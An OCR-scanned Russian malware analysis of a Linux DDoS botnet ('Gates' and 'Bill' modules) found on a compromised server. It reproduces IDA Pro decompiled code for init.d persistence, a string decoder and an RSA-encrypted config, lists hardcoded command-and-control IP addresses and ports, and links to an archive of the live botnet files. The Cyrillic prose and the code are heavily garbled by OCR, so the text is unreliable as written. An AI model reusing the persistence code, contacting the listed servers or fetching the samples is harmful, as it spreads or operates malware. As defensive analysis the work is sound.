/var/lib/cacti/cli/upgrade_database.php
/var/lib/cacti/rra

/var/lib/cacti/scripts
/var/lib/cacti/scripts/3com_cable_modem.pl
/var/lib/cacti/scripts/diskfree.pl
/var/lib/cacti/scripts/diskfree.sh
/var/lib/cacti/scripts/linux_memory.pl
/var/lib/cacti/scripts/loadavg.pl
/var/lib/cacti/scripts/loadavg_multi.pl
/var/lib/cacti/scripts/ping.pl
/var/lib/cacti/scripts/query_host_cpu.php
/var/lib/cacti/scripts/query_host_partitions.php
/var/lib/cacti/scripts/query_unix_partitions.pl
/var/lib/cacti/scripts/sql.php
/var/lib/cacti/scripts/ss_fping.php
/var/lib/cacti/scripts/ss_host_cpu.php
/var/lib/cacti/scripts/ss_host_disk.php
/var/lib/cacti/scripts/ss_sql.php
/var/lib/cacti/scripts/unix_processes.pl
/var/lib/cacti/scripts/unix_tcp_connections.pl

/var/lib/cacti/scripts/unix_users.pl
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Mocooooa /var/lib/cacti/scripts/weatherbug.pl
Mo, /var/lib/cacti/scripts/webhits.pl
SeBaoools /var/log/cacti/cacti.log

S.5....T. c /etc/ntop.conf

....... T. c /etc/avahi/hosts

¢ /etc/netatalk/AppleVolumes.default
¢ /etc/netatalk/afpd.conf

¢ /etc/netatalk/netatalk.conf

¢ /etc/httpd/conf.d/nagios.conf
/etc/nagios/nagios.cfg

¢ /etc/nagios/objects/commands.cfg

¢ /etc/nagios/objects/localhost.cfg
¢ /etc/sysconfig/ntpd

— =4 =4 = = = - = -
(@]

¢ /etc/profile

SM5..UGT. ¢ /etc/snmp/snmpd.conf

S.5....T. c /etc/sysconfig/iptables-config
....... T. c /etc/avahi/avahi-dnsconfd.action

S.5....T. c /etc/dnsmasq.conf

910 O3HauaeT, UYTO HHUKAKHe CHUCTeMHbIe (baﬁ]'[bl He ObLIM U3MeHeHbI. TK. TMpoLeCChl B CUCTEMEe He ObLII CKDBITEI,
TIpe/ITI0/I0KWII, UTO HUKAKHUX PYTKHUTOB 3/1€Ch He MCII0/Ib30Ba/IOCh U MOXKHO C HEKOTOpOﬁ YBE€PEHHOCTBIO CKa3aThb,

UTO CcucCTeMa YMrCTa.

IMouck unpopmanuu o 6oTHETE

ITepBBIM [1€/10M 51 Hauasl KCKaTh KaKyro-To WHbOopMaluo 06 3ToM 60THeTe, Hilja 10 UMeHH JoMeHa, UMeHH (hait/ioB
U CTPOKaM u3 crontab.

HekoTtopast uH(OpMaliys cpa3y ke Hallljach:

My home PC has been Own3d :( @ forums.debian.net

I Got Myself Hacked @ hackervisions.org

Suspected rootkit @ archlinuxarm.org

B eJj0oM, HU4ero MHTepeCcHOro Uik HOBOro.

HccnepoBanue (aiisioB 60THeTa

ITepBbIM /1es10M, 51 BOCIIO/b30BaJICs Mporpammoti file, utoOb1 y3HaTh obostbile 06 TUM HUCTIOMHSAEMBIX (haiiiax:

atddd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not
cupsdd:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not
cupsddh: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped

ksapdd:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not
kysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not
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skysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not
xfsdxd:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not

Not stripped! Bot Tak HOBOCTB!

MHe riouemy-To oHpaBucs daiin cupsdd, u s TiepBLIM [1e/ioM 3arpy3ui ero, a He atddd. Cam He 3Haro TIoueMy, HO

9TO OBIIO COBEPIIEeHHO MMPABUJ/IBHO.

Gates

Wtak, cupsdd — mozynb «Gates». md5 603170ad361f6e098c8681ed264155eb, shal
1714fd31cc931e2a0eb97d25a076567af45dc6d8

Uro xe OH fienaet, 1 mouemy oH «Gates»? Hy, Ha 5T0 Ham oTBeTuT IDA Pro, Hanpyumep.
int _ cdecl main{)

void =vB; [} esp@l

vl = alloca(16}:;

CSysTool::SelfInit():
CSysTool::SelfInstall{8):

if { *{unsigned  int8){daemon{1, B8} >> 31} )}

if { {unsigned int8)CSysTool::IsGatesExist{) )
exit{@);

it { g iIsService == 1
cUtility::SetadutoStart{{int)"DbSecurityspt"”, 97);

MainProcess(}:

}

return B8;

kigned int _ cdecl CSysTool::IsGatesExist()
{

size t vB: f{ ebx@11

void =v1; }} eax@11

int »2; }f eax@i1

int v3; [} eax@12

pid_t va; }} eax@12

int v5; [{ eax@16

signed int v7; {{ [sp+Ch] [bp-ACh]@3

int addr; [} [sp+iBh] [bp-aB8h]@8

size_t len; {} [sp+3Ch] [bp-7Ch]@in

char v18; }{ [sp+38h] [bp-28h]@11

char v11; }{ [sp+9Eh] [bp-1ah]@11

char v12; [} [sp+9Fh] [bp-19h]@11

int fd; }{ [sp+AaBh] [bp-18h]@2

int v14; {} [spthdh] [bp-14h]@s

unsigned _ int8 v15: [} [sp+anh] [bp-Eh]@1

unsigned __int8 v16; [} [sp+aBh] [bp-Dh]e7

int »17; f} [sptach] [bp-ch]@11

vi5 = CFileOp::FileExists{"/tmp/gates. lock™);

-

if (w15 " 1)

fd = open{"/tmp/gates. lock™, 192, Bx1EDu);
if { fd <=8 )
return 1;:

Yto e JiesiaeT 3TOT MOAY/Ib?
e [IbITaeTCS MHUIUATA3UPOBAThL Ce0s

PacrakoBbiBaeT RSA-/jaHHbIe, B MOEM C/Tydae 3To Oblla CTpPOKa:
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116.10.189.246:30000:1:1:h:578856:579372:579888
[TepemMeHHbIe U3 KOTOPOL HAa3HAYAIOTCS CIEAYIOIIMM 06pa3oMm:

g_strConnTgt=116.10.189.246
g_iGatsPort=30000
g_iGatsIsFx=1
g_iIsService=1
g_strBillTail=h
g_strCryptStart=578856
g_strDStart=579372
g_strNStart=579888

[MocnenHyie TpY TTapamMeTpa HY>KHBI /711 oripeiesieHnst Tpex RSA-CTPOK B ciiydae 0OHOBJIEHUST MOJYJIEH.
CKPpBITHII TEKCT

std::string::string{&something decrypted});

std::allocator<char>::allocator(}:

std::string::string{
Bkeyl,
“5F1EZ9B3C6DBFBDCEIAIETI 1C1639F1FEDE3CFB159B49386B81397386FIE3117996B2368D7 2EAC
Byv2a);

std::allocator<char>::_allocator {Buv24};

std::allocator<char>::allocator{};

std::string::string{
Bkey?,
"H9EAIEABESBOAEBAAB 10A4681FC2C6283E682906B6FO0AEAECEA 168CFBBES34428 14EFAGECACT!
Bu25);

std::allocator<char>::_allocator {Bv25};

std::allocator<{char>::allocator(}:;

std::string::string{
Ekey3,
"B82BACCA791489B347A7 1092937088 136DE2CD246 1CA2DAADSCFEFEEF7 58687 82C049D7D3CDD52:
Bu2B);

std::allocator<char>:: allocator{8v2E});

if { {unsigned int8)std::string::empty{Rkev1} ~ 1)

{

CRSA: :Decrypt{{int)&something_decrypted, {int)}&keyl, (int}&kev2, {int)8key3}):

e [IbITaeTcst ycTaHOBUTE MOAY/b «Bill»

I[TpoBepsieT, He 3amylLeH U yKe OH, TyTeM 6uHza nopta 10808. Ecim yaanock 3a6UHAUTE — He 3amnyiieH. Eciu
HeT, To ybrBaeM ripouecc, PID kotoporo xpanurcs B lock-¢aiine B /tmp/bill.lock
HaxoguT 1y Th, I7ie XpaHUTCsI TEKYILHI exe, [TyTeM uTeHus /proc/%d/exe, BoiziesieT My Thb, gobaeser 'Bill Tail',

paciugpoBaHHOTo U3 MyHKTa 1 (B MoeM ciyuae 6611 'h'), OTKPBIBAET €r0 Ha 3aMuich U 3alvChIBaeT Tyaa Qaii,
HauunHas co cMmeltenyst 0xB1728 pasmepom 335872.

dopkaeTcs U 3arycKaeT HOBBIM (aii.

CKPpBITBII TEKCT
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int cdecl CSysTool::SelfInstall{char al)

{
signed int vi: }{ eaxB@1
int result; ! eax@2

vl = C3ysTool::IsBillExist(}:
if { ( BYTE)v1 )
{

LOBYTE{ui} = al:

result = w1 1;
it { { BYTE}result }

CSysTool::KillBill({):
result = C3ysTool::Releaseand3tartBill{};
}
}

else

result = CSysTool::ReleaseandStartBill{};
}

return result;

e BribBaer ¢yHknuio daemon(), kotopast pebuHauT Tekyire stdin, stdout u stderr Ha /dev/null
o TlIpogepsier, 3amyieH 1 oH caM (Mozaynb «Gates») ryTem npoBepku daiiia /tmp/gates.lock. Ecm

3anyiieH, To Gates 3aBepiiaeTcs.

o JlobaBssieT pacrakoBaHHbIM Mozy/b «Bill» B aBTO3arpysKy sysvinit myTem co3gaHusi HAUTIPOCTEHIIIEro init-

ckpurra B /etc/init.d/ c HazBaHueM «DbSecuritySpt» Bufa:

#!/bin/bash
/path/to/bill

U co3paet cumnuHKY B /etc/rc[1-5].d/97DbSecuritySpt Ha Hero.

CKPpBITBII TEKCT
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std::string: :string{Bexepath};
CUtility::GetModuleFullPath(Bexepath);

if { {unsigned int8)std::string::empty{Bexepath) )
{

vh = B;

else

{
CUtility::S5leep({10868);
std::allocator<char>::allocator(}:
std::string::string(Bv11, "Jetc/init.d}", EBinitdpath}:
std::operator_<char_std::char_traits<{char>_std::allocator<char>>{Bu3}:
std::string::_string(8vil});
std::allocator<char>:: allocator{&initdpath};
initzserv = {char =)}std::string::c_str{Bv3);
fd = open{initserv, 578, Bx1EDu}:
if { fd > 8 )
{

memcpy (&addr, CUtility::SetAutoStart_char__const__int_::C_E3, 2586);

v3i = std::string::c_str{Bexepath);

gprintf{Baddr, "H*{bin/bashy\n¥syn", v3};

write(fd, Baddr, strlen(Baddr}):;

close{id):

for { i = 8; i <= 4; ++i )

{
memcpy (&v7, CUtility::3etAutoStart_char__const__int_::C 64, 25B);
memcpy {(&pathname, CUtility::SetAutoStart_char_ const_ int_::C 65, 256):
sprintf (Bpathname, "letc/rck¥d. d{3%¥d¥s", i + 1, serviceparam, servicename);
if { access{Bpathname, B8) %= 8 )

sprintf (&7, "In -s fetclinit. d{%s %s", servicenane, &pathname);
system(Bv7);

e 3anyckaetcst pyHkuust MainProcess()
YuTaeT 0CHOBHYIO MH(OPMAaLHIO O CUCTeMe, NIPOoLieccope, OlepaTHBHOM NaMATH, CeTeBbIX KapTax, BUHUecTepax.

CKpBITHIi TeKCT

void _ cdecl MainProcess({)

{
int va; }{ ST20_4@1

CConfigDoing::Initialize{g_cnfgDoing}:
cCmdDoing::Initialize{g cmdDoing}:
CS3tatBase::Initialize(g_statBase):;
vB = operator new{980});
CHManager: : CManager {vd);
g_pHanager = vi;
if { vb}
CHManager::Initialize{g pManager):

ssignal {9, KillHandler}:
while { 1}

| CUtility::Sleep(600080);

}

Bill

Mopaynb «Bill» — DDoS mogynb. 3anakoBaH UPX. B moeMm ciiyuae HasbiBascs "cupsddh”, md5
7fb3dce23d290166c7e52644b16faae6, shal 98db5a311118c78d97aa514db7d8277535544926
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e YmeeT atakoBaTh XocThl 10 TCP, UDP, ICMP u metosom DNS-ammudukayy. YMeeT orpaHAuUBaTh cebst
B pecypcax CPU, nepekoH(GUTypHPOBAThCS Ha JIETY, CAMOOOHOBSATHCS.

e UuTaeT 0CHOBHYIO MH(OPMALUIO O CUCTEME, TIPOLIeCCOPe, ONepaTUBHOMN MaMsTH, CeTeBbIX KapTax,
BHUHYeCTepax.

e Yyraet undopmarmio o DNS.

o Jlenaet system(«insmod /usr/lib/xpacket.ko»)

e TIpu camoob6HOBeHuu nmitet cebs B /ust/lib/libamplify.so

Haunnaer ciymmars 127.0.0.1:10808. MoxkeT rosy4aTh Kak KOHPUT OT IJIaBHOTO MOAYJIS, TaK ¥ KOMaH/IbI Ha

aTaKy.
«CTy4yaimii» MOAy/Ib

@aiin ksapdd — kakoli-To MO/y/ib, KOTOPBIN OTIIPABJIsIeT CTaTUCTUKY U MH(POPMALMIO Ha T/IaBHbIE CepBepa.

CepBep U MOPT 3allIUTHI B MPorpamMMy. B Moem cityuae, 3to 6buti 121.12.110.96:10991, KoTOpBIe 371€MeHTapHO

TIeKOAVPYIOTCS:

CKPpBITHII TEKCT

memcpy (Bv4, CServerIP::Initialize void ::C 48, 256);

memcpy {(Bv3, CServerIP::Initialize_void_::C_49, 256);
CUtility::DeCrypt{{int)&va, 255, (int)"212-21}82}]187", 39);
cutility::DeCrypt{{int}8v3, 285, {int)}"2/:82", 18};

char __cdecl cuUtility::DeCrypt{int buf, int staticinp, int crypteddata, int maxi}
{

char result; }{ al@s

int i: f} [sp+Ch] [bp-4h]@1

for { i =8; ; ++i )}

result = i:
it { i >= mazi )
break;
result = i;
if { i »= staticinp }
break;
result = ={ BYTE =) {crypteddata + i};
if { fresult )

break;
if {181}

*{ BYTE =) {buf + i} = ={ BYTE =) {crypteddata + i} + 1;
else

*{ BYTE =) {buf + i} *{ BYTE =) {crypteddata + i} - 1;

return result;

i

@aitnel kysapdd, skysapdd, xfsdxd v atddd siensirorcest kormusimu ksapdd, Ho TiepBEbIi TTOAK/IIOYAeTCS K
112.90.252.76:10991, BTopoti K 112.90.22.197:10991, TpeTnii k 116.10.189.246:10991, a ueTBepThIii — K
202.103.178.76:10991

3ak/IoueHue

Hy BOT U BCe. HO]'Iy‘H/I]'IOCb HECKOJIBKO TTOBEPXHOCTHO, HO YIIPABJ/IAIOLIKE CePBEPLI B YIIOD HE XOTAT OTAaBATh

KOMaH/bl MOUM 3K3eMIlIApaM, U HUUYero He IIPOMCXOAMT. BeperHTe CBOU CepBepEkl.
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rghost.ru/52680741 — 3mech Bce daiibl 60THeTA.

Source: https://habrahabr.ru/post/213973/
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